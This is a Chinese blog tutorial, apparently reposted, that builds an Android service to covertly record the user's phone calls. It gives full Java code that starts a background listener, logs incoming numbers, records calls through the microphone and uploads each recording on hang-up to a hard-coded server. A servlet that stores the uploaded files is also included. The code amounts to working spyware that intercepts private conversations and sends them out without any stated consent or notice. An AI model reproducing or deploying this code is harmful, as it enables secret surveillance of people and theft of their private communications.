采用服务监听用户的通话,上传信息到服务器

来源:互联网 发布:2017淘宝排名规则 编辑:程序博客网 时间:2024/06/01 21:55

业务需求:以下我们要模拟的功能是,我们要对电话进行录音监听。当电话在通话的时候,我们对电话进行录音,但挂断电话的时候,我们对监听进行关闭,并且同时上传录音到服务器上。


首先我们编写基础代码:

package org.china.lee.phonelistener;import java.io.File;import org.apache.commons.httpclient.methods.PostMethod;import org.apache.commons.httpclient.methods.multipart.FilePart;import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;import org.apache.commons.httpclient.methods.multipart.Part;import android.app.Service;import android.content.Intent;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneListenerService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();/** * 1:判断当前手机的状态 * 2:当前发现手机处于 通话状态 * 创建一个录音器,录下来用户的通话信息 * 当发现手机再次处于idle(挂断)状态 停止录音,把音频文件 上传到服务器 * 得到手机与电话状态相关服务 */TelephonyManager manager=(TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneListener extends PhoneStateListener{@Overridepublic void onCallStateChanged(int state, String incomingNumber) {switch(state){case TelephonyManager.CALL_STATE_IDLE:System.out.println("当前电话处于闲置状态");break;case TelephonyManager.CALL_STATE_RINGING:System.out.println("电话号码为:"+incomingNumber);break;case TelephonyManager.CALL_STATE_OFFHOOK:System.out.println("当前电话处于通话状态!");break;}super.onCallStateChanged(state, incomingNumber);}}public void upload(File file) throws Exception{// 实例化上传数据的 数组  part []Part[] parts = {  new FilePart("file",file)};PostMethod filePost = new PostMethod("http://192.168.1.104:8080/web/LoginServlet");  filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();        client.getHttpConnectionManager().getParams()          .setConnectionTimeout(5000);int status = client.executeMethod(filePost);if(status==200){System.out.println("上传成功");}else{throw new IllegalStateException("服务器状态异常");}}}

package org.sicn.lee.phonelistener;import android.os.Bundle;import android.app.Activity;import android.content.Intent;import android.view.Menu;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);super.setContentView(R.layout.activity_main);Intent service=new Intent(this,PhoneListenerService.class);startService(service);}@Overridepublic boolean onCreateOptionsMenu(Menu menu) {getMenuInflater().inflate(R.menu.main, menu);return true;}}

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="org.china.lee.phonelistener"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="10"        android:targetSdkVersion="17" />    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>    <uses-permission android:name="android.permission.INTERNET"/>    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="org.china.lee.phonelistener.MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>                        <service             android:name=".PhoneListenerService"            ></service>    </application></manifest>


现在我们查看一下界面log

启动activity


现在我们使用模拟器拨打进来电话。

现在我们查看一下log



现在我们挂断电话,查看一下log



下面我们试一下接通电话:



现在正是录音。

package org.china.lee.phonelistener;import java.io.File;import org.apache.commons.httpclient.methods.PostMethod;import org.apache.commons.httpclient.methods.multipart.FilePart;import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;import org.apache.commons.httpclient.methods.multipart.Part;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneListenerService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();/** * 1:判断当前手机的状态 * 2:当前发现手机处于 通话状态 * 创建一个录音器,录下来用户的通话信息 * 当发现手机再次处于idle(挂断)状态 停止录音,把音频文件 上传到服务器 * 得到手机与电话状态相关服务 */TelephonyManager manager=(TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneListener extends PhoneStateListener{MediaRecorder recorder=null; @Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch(state){case TelephonyManager.CALL_STATE_IDLE:System.out.println("当前点哈处于闲置状态");if(recorder!=null){recorder.stop();recorder.release();recorder=null;}break;case TelephonyManager.CALL_STATE_RINGING:System.out.println("电话号码为:"+incomingNumber);break;case TelephonyManager.CALL_STATE_OFFHOOK:System.out.println("当前电话处于通话状态!");recorder=new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);recorder.setOutputFile(Environment.getExternalStorageDirectory()+"/temp.3gp");recorder.prepare();recorder.start();break;}} catch (Exception e) {e.printStackTrace();}super.onCallStateChanged(state, incomingNumber);}}public void upload(File file) throws Exception{// 实例化上传数据的 数组  part []Part[] parts = {  new FilePart("file",file)};PostMethod filePost = new PostMethod("http://192.168.1.104:8080/web/LoginServlet");  filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();        client.getHttpConnectionManager().getParams()          .setConnectionTimeout(5000);int status = client.executeMethod(filePost);if(status==200){System.out.println("上传成功");}else{throw new IllegalStateException("服务器状态异常");}}}

最后的步骤就是上传服务器

package org.china.lee.servlet;import java.io.File;import java.io.IOException;import java.util.List;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.commons.fileupload.FileItem;import org.apache.commons.fileupload.FileItemFactory;import org.apache.commons.fileupload.disk.DiskFileItemFactory;import org.apache.commons.fileupload.servlet.ServletFileUpload;/** *  * @project_name: waimao * @Author: china * @Date: 2013-8-4 * @Version: V 1.0 * @Desc: */public class LogServlet extends HttpServlet {private static final long serialVersionUID = -8503400529982559463L;public LogServlet() {super();}public void destroy() {super.destroy(); }public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {String name=request.getParameter("name");if(name!=null){name=new String(name.getBytes("iso8859-1"));}String password=request.getParameter("password");System.out.println("name:"+name+";password:"+password);if("zhangsan".equals(name)&&"123456".equals(password)){response.getOutputStream().write("login Success".getBytes());}else{response.getOutputStream().write("login Faile".getBytes());}}public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {boolean isMultipart=ServletFileUpload.isMultipartContent(request);if(isMultipart){String realpath=request.getSession().getServletContext().getRealPath("/files");System.out.println(realpath);File dir=new File(realpath);if(!dir.exists()){dir.mkdirs();}FileItemFactory factory=new DiskFileItemFactory();ServletFileUpload upload=new ServletFileUpload(factory);upload.setHeaderEncoding("UTF-8");try {List<FileItem> items=upload.parseRequest(request);for(FileItem item:items){if(item.isFormField()){String name1=item.getFieldName();String value=item.getString("UTF-8");System.out.println(name1+"="+value);}else{item.write(new File(dir,System.currentTimeMillis()+item.getName()));}}response.getOutputStream().write("你好".getBytes("utf-8"));} catch (Exception e) {e.printStackTrace();}}else{doGet(request, response);}}public void init() throws ServletException {}}

package org.china.lee.phonelistener;import java.io.File;import org.apache.commons.httpclient.methods.PostMethod;import org.apache.commons.httpclient.methods.multipart.FilePart;import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;import org.apache.commons.httpclient.methods.multipart.Part;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneListenerService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();/** * 1:判断当前手机的状态 * 2:当前发现手机处于 通话状态 * 创建一个录音器,录下来用户的通话信息 * 当发现手机再次处于idle(挂断)状态 停止录音,把音频文件 上传到服务器 * 得到手机与电话状态相关服务 */TelephonyManager manager=(TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneListener extends PhoneStateListener{MediaRecorder recorder=null; @Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch(state){case TelephonyManager.CALL_STATE_IDLE:System.out.println("当前点哈处于闲置状态");if(recorder!=null){recorder.stop();recorder.release();recorder=null;new Thread(){@Overridepublic void run() {File file=new File(Environment.getExternalStorageDirectory()+"/temp.3gp");try {upload(file);} catch (Exception e) {e.printStackTrace();}super.run();}}.start();}break;case TelephonyManager.CALL_STATE_RINGING:System.out.println("电话号码为:"+incomingNumber);break;case TelephonyManager.CALL_STATE_OFFHOOK:System.out.println("当前电话处于通话状态!");recorder=new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);recorder.setOutputFile(Environment.getExternalStorageDirectory()+"/temp.3gp");recorder.prepare();recorder.start();break;}} catch (Exception e) {e.printStackTrace();}super.onCallStateChanged(state, incomingNumber);}}public void upload(File file) throws Exception{// 实例化上传数据的 数组  part []Part[] parts = {  new FilePart("file",file)};PostMethod filePost = new PostMethod("http://192.168.1.104:8080/web/LogServlet");  filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();        client.getHttpConnectionManager().getParams()          .setConnectionTimeout(5000);int status = client.executeMethod(filePost);if(status==200){System.out.println("上传成功");}else{throw new IllegalStateException("服务器状态异常");}}}


0 0
原创粉丝点击